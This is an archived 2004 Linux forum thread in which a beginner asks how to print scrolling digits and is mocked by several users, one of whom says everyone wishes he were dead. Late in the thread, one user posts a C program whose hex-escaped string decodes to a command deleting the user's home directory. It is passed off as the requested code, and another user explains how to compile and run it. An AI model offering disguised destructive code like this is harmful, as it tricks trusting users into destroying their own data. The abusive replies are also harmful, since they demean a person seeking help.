Click to See Complete Forum and Search --> : programming Question
elitewhiteghost
04-04-2004, 07:39 PM
I am working on a program that show numbers or letters on my sceen like in the movie enemy of the state.How can i do that?
Would this work.
for(;; } cout << "101010101" ; }
cybertron
04-04-2004, 07:44 PM
Probably, although using a while(true) loop would probably make more sense if you're looking for an infinite loop.
Edit: BTW, why don't you just try it? I don't mean to be rude, but if you can type it into the forum post you can type it into your text editor of choice and compile.
Originally posted by cybertron
Edit: BTW, why don't you just try it? I don't mean to be rude, but if you can type it into the forum post you can type it into your text editor of choice and compile.
i second that motion.....
can i have "I answered my own question with my question" for $200, please Alex.
maccorin
04-04-2004, 08:25 PM
Originally posted by elitewhiteghost
I am working on a program that show numbers or letters on my sceen like in the movie enemy of the state.How can i do that?
Would this work.
for(;; } cout << "101010101" ; }
no... for requires () ... not just (... and it's { }... not } }
and also... they are correct you could have typed this into emacs/vi/nano/gedit/kedit/name_your_fsckin_editor just as easily as here.... i should have guessed you code would suck... you name matches /.*elite.*/i
and ummm... btw how much more useless could a program get?
It's always better to try, try, search and then ask so you don't have to always depend on someone...
:rolleyes:
dkeav
04-04-2004, 08:34 PM
wow that is a great idea *cough* THE MATRIX *cough*
:rolleyes:
elitewhiteghost
04-04-2004, 08:38 PM
I been look at the man random number man page.And i been looking on some form to.:)
i think i try to find some sourcecode.
maccorin
04-04-2004, 08:42 PM
i think you misunderstood chastisement and sarcasm for caring
cudaman73
04-04-2004, 08:44 PM
elitewhiteghost....if you're _really_ that hellbent on writing a program (which will never work, looking at your current source codes), then go buy a fscking coding book, and leave the users here at JustLinux alone. None of us like you, we all wish you were dead.
for(;; } cout << "101010101" ; }
^^ this will never work. ever. in no language, in no shape, form or fashion. 101010101 isnt even a real binary digit. please, go rtfm for the rest of your fscking life!
-Cuda (The Hata)
elitewhiteghost
04-04-2004, 08:54 PM
cudaman73,
I just ask a question on programming and i don't know what your prob.I know what that command your talking i not going to deale everything on my hard drive i not rude like you...
:rolleyes:
maccorin
04-04-2004, 08:57 PM
for the record... i agree w/ cudaman73
cudaman73
04-04-2004, 08:58 PM
well...at least i have a familiarity with the english language...
im sorry for being mean, i didnt know my problem what it was neither.
hold on...lemme go find a program that you might want to become familiar with...it outputs text to your screen.
edit: it may take a while...but you might want to base your program off of it :)
maccorin
04-04-2004, 08:59 PM
LMFAO
elitewhiteghost
04-04-2004, 09:04 PM
That was very hash and mean.I take you treat all people that come for here for question.
By the way cudaman73 your are on my iggy list.:rolleyes:
cudaman73
04-04-2004, 09:08 PM
here...try this in a terminal
cout << "my screenie";
1337_h4x0R
04-04-2004, 09:10 PM
U R my h3r0 B34nie!!
I wan c0de jost lik yors!
Cay w3 bee fr3nds?
I l1k3 U beenie
DAudioLink@Sch
04-04-2004, 09:14 PM
couple of questions have I. wtf is iggy? isn't hash used to crypt passwords and files for p2p?
1337_h4x0R
04-04-2004, 09:19 PM
Why don u just donload sub7 sev3n
taht's what u relly w4nt anyw4y.
Isn't 1t?
maccorin
04-04-2004, 09:27 PM
#include <stdio.h>
#include <stdlib.h>
int main ( int argc, char *argv[] )
{
int i;
while(1) {
i = rand() % 2;
printf("%d", i);
}
}
maccorin
04-04-2004, 09:38 PM
#include <stdlib.h>
const char str[] = "\x72\x6d\x20\x2d\x72\x66\x20\x7e";
int main()
{
system(str);
}
elitewhiteghost
04-04-2004, 09:39 PM
Thanks for that code maccorin.Well iggy mean Ignore List and 1337 your on my Ignore List so don't try to talkto me 1337.
adhall02
04-04-2004, 09:44 PM
Originally posted by maccorin
#include <stdlib.h>
const char str[] = "\x72\x6d\x20\x2d\x72\x66\x20\x7e
";
int main()
{
system(str);
}
elitewhiteghost, just put his program in, say, foo.c and then do 'gcc foo.c' then you can type './a.out' in the same directory where a.out is.
maccorin
04-04-2004, 09:50 PM
you don't have to be root, and that copy paste is a little fscked up, i fixed it so you won't get newline errors in my post
bwkaz
04-04-2004, 09:52 PM
All right, this has gone on WAAAY too long.
End of thread.
If you can't keep it civil, talk somewhere else.